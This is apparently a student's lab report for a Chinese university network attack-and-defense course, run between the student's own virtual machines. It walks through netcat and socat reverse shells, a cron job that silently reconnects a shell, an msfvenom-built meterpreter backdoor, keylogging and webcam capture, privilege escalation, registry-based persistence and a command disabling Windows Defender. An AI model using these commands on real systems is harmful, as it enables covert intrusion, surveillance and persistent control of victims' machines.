• 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践


    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    实验内容(概要):

    (1)使用netcat获取主机Shell,cron启动

    首先两个电脑(虚拟机)都得有netcat,然后各使用netcat互相攻击一次。最后使用在linux用cron设置一个定时启动。

    (2)使用socat获取主机Shell, 任务计划启动

    与第一个区别在于,第二个虚拟机使用Windows的任务计划启动一次,设置一个定时启动。

    (3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

    可执行文件就是后门程序。利用ncat或socat传送如果不行,复制粘贴也可以。

    (4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

    这个就是获取shell以后的阶段,很有意思了。

    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。

    这个不是很懂。。。也暂时没有做,过段时间看看别人的,问题不大。


    2.基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    一个是通过U盘硬盘这种可移动设备,如果写一个AutoRun.inf,插上以后就会自动运行后门。

    二是盗版软件,破解工具。实际上这可能是无法避免的,在中国盗版软件多得超乎想象,像Adobe这种实用而流行的产品,如果买正版几乎让人倾家荡产。

    最重要的是,在你使用这些盗版软件或者破解正版软件的时候,可能需要关闭防火墙和杀软才能起效果。

    当你心甘情愿主动地关闭杀软的时候,即使是最简单的恶意代码或者后门程序也是致命的。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    win后门的启动,我认为最合适的方法是修改注册表启动项,这也是最可靠的方法。

    除此之外还可以使用meterpreter建立持久后门,方案1:

    run persistence -X -i 5 -p 443 -r 192.168.1.207 //攻击机ip
    

    在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件上面。

    缺点:很容易被杀软搞死。

    方案2就是在靶机启动metsvc,但是这个会被其他所有黑客利用。

    实验中使用的是任务计划启动,在实践中似乎不是很可靠(做实验还是能做,但是如果在实战渗透这样的方法不是很可靠诶,from自己瞎玩的经验)。

    linux的后门启动我知道的就只有那什么cron了,我感觉win系统作为靶机的情况更多吧。

    (3)Meterpreter有哪些给你映像深刻的功能?

    Meterpreter功能很强大,牛逼。

    生成backdoor,upload,留下后门,修改注册表,截图录音,击键记录,这谁顶得住???

    最重要的是还有tab补全,太舒服了。。。。

    (4)如何发现自己有系统有没有被安装后门?

    最简单就是用杀软查杀呗,大老虎可能抓不到,小苍蝇还是能打死。

    然后如果多看看任务管理器,多看看端口,有没有什么奇奇怪怪的幺蛾子。

    然后上香祈祷吧,我真的没有什么攻击价值,求求dalao放过我,给个机会嘛,我也是要吔饭的嘛。。。。。


    3.实验内容

    准备

    启动!!!

    使用netcat获取主机操作Shell,cron启动

    首先我们得在不使用cron的情况下用win10获取kali权限。

    在获取权限的时候,使用的是反弹的方式,我的理解就是攻击机开放端口等待,靶机主动连接攻击机。

    在win10的cmd输入:ncat.exe -l -p 5325

    注意,此时win10的cmd工作路径下要有ncat。

    在kali端输入:nc 192.168.1.123 5325 -e /bin/sh

    成功:

    通过相似的操作,也能获取win10的权限。

    kali:nc -l -p 5325

    win10:ncat.exe 192.168.1.207 5325 -e cmd.exe

    成功:

    接下来我们可以尝试使用cron来定时执行指令,悄悄启动ncat。

    kali:crontab -e打开crontab,首次打开的时候可能会让你选择1234,选3. /usr/bin/vim.basic

    在最下面加一句:42 * * * * /bin/netcat 192.168.1.123 5325 -e /bin/sh,如图所示

    意思就是每小时42分启动一次。

    此时眼疾手快,在win10:ncat.exe -l -p 5325开始监听。

    成功:

    使用socat获取主机操作Shell, 任务计划启动

    这里主机指的是win10,也就是说kali获取win10的shell。

    打开计算机管理,创建任务,输入参数tcp-listen:5325 exec:cmd.exe,pty,stderr,如图

    然后右键运行,会蹦出来一个窗,说:

     1 [main] socat 18780 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer.  Please report this problem to the public mailing list cygwin@cygwin.com
    

    问题不大,不要关。

    kali:socat - tcp:192.168.1.123:5325

    成功:

    关于错误提示,如果你关闭它,连接就会终止;网上没找到这什么意思,怎么解决,但是似乎不影响实验。

    (惊险刺激的部分要来了)

    使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    首先生成一个后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.207 LPORT=5325 -f exe > 20165325.exe

    参数说明(鸣谢庄艺霖学姐博客)

    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型

    把生成的文件复制粘贴到win10,懒人一枚。

    kali:msfconsole启动!!!

    二话不说,民工四连:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.209   //攻击机IP
    set LPORT 5325
    

    完美,让我们开始吧:exploit

    成功:

    爽。。。。。

    使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    record_mic可以录一段音频,-d选项设置录制时间:

    webcam_snap 摄像头拍照:

    没错这就是我。

    更多的:

    使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

    使用screenshot指令可以进行截屏,效果如下:

    先使用getuid指令查看当前用户,使用getsystem指令进行提权

    也可以用webcam stream指令可以使用摄像头进行录像


    plus

    比起上面的,我更关心的是怎么持续攻击。。。

    一般来说,当你GetShell后,首先想到的肯定是留下后门,以便后续能持续化进行控制。

    Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence),这个在开头说过了。

    通过metsvc的方式,命令简单方便,就是run metsvc,不进行反弹回连,无太多参数。该后门在目标机器启动后自启动一个”服务器”来等待连接,因此黑阔可以随时随地通过该后门进入目标机器。当然,当其他黑阔使用扫描软件扫出该”服务器”的存在时,也可以通过该后门直达目标机器内部。

    通过persistence的方式,参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败,功败垂成。

    参数:

    meterpreter > run persistence -h
    Meterpreter Script for creating a persistent backdoor on a target host.
     
    OPTIONS:
     
    -A Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt> Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
    -S Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt> Alternate executable template to use
    -U Automatically start the agent when the User logs on
    -X Automatically start the agent when the system boots
    -h This help menu
    -i <opt> The interval in seconds between each connection attempt
    -p <opt> The port on which the system running Metasploit is listening
    -r <opt> The IP of the system running Metasploit listening for the connect back
    
    
    • -P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行

    • -U:设置后门在用户登录后自启动。该方式会在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。推荐使用该参数

    • -X:设置后门在系统启动后自启动。该方式会在HKLMSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。

    • -i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip

    • -p:设置反向连接的端口号。即黑阔用来等待连接的端口

    • -r:设置反向连接的ip地址。即黑阔用来等待连接的ip

    一个完整的命令为run persistence -U -i 10 -p 5325 -r 192.168.1.207

    实践表明:使用注册表实现自启动更不容易被察觉,存活率较高。

    upload /root/backdoor.exe c:\users\arche\AppData\local\backdoor.exe  //上传新的backdoor
    reg setval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run -v backdoor -d c:\users\arche\AppData\local\backdoor.exe //修改注册表
    

    甚至可以直接在组策略禁用windows defender

    meterpreter > execute  -H -i -f cmd.exe
    Process 9064 created.
    Channel 1 created.
    Microsoft Windows [�汾 10.0.17134.648]
    (c) 2018 Microsoft Corporation
    
    C:WindowsSystem32>reg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
    
    

    附:

    cat c:oot.ini#查看文件内容,文件必须存在
    
    del c:oot.ini #删除指定的文件
    
    upload /root/Desktop/netcat.exe c: # 上传文件到目标机主上,如upload  setup.exe C:\windows\system32
    
    download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295******125\Msg2.0.db /root/
    
    edit c:oot.ini  # 编辑文件
    
    getlwd#打印本地目录
    
    getwd#打印工作目录
    
    lcd#更改本地目录
    
    ls#列出在当前目录中的文件列表
    
    lpwd#打印本地目录
    
    pwd#输出工作目录
    
    cd c:\ #进入目录文件下
    
    rm file #删除文件
    
    mkdir dier #在受害者系统上的创建目录
    
    rmdir#受害者系统上删除目录
    
    dir#列出目标主机的文件和文件夹信息
    
    mv#修改目标主机上的文件名
    
    search -d d:\www -f web.config #search 文件,如search  -d c:\  -f*.doc
    
    meterpreter > search -f autoexec.bat  #搜索文件
    
    meterpreter > search -f sea*.bat c:\xamp\
    
    enumdesktops     #用户登录数
    
    

    参考:

    http://www.arche.name/?p=266

    https://www.cnblogs.com/backlion/p/9484949.html

  • 相关阅读:
    多态与鸭子类型
    mixin与派生
    4.9作业
    property
    继承
    封装
    《梦断代码》阅读笔记1
    阅读笔记3——《大道至简》第四、五、六章
    阅读笔记2——《大道至简》第二、三章
    阅读笔记1——《大道至简》第一章
  • 原文地址:https://www.cnblogs.com/maxeysblog/p/10583736.html
Copyright © 2020-2023  润新知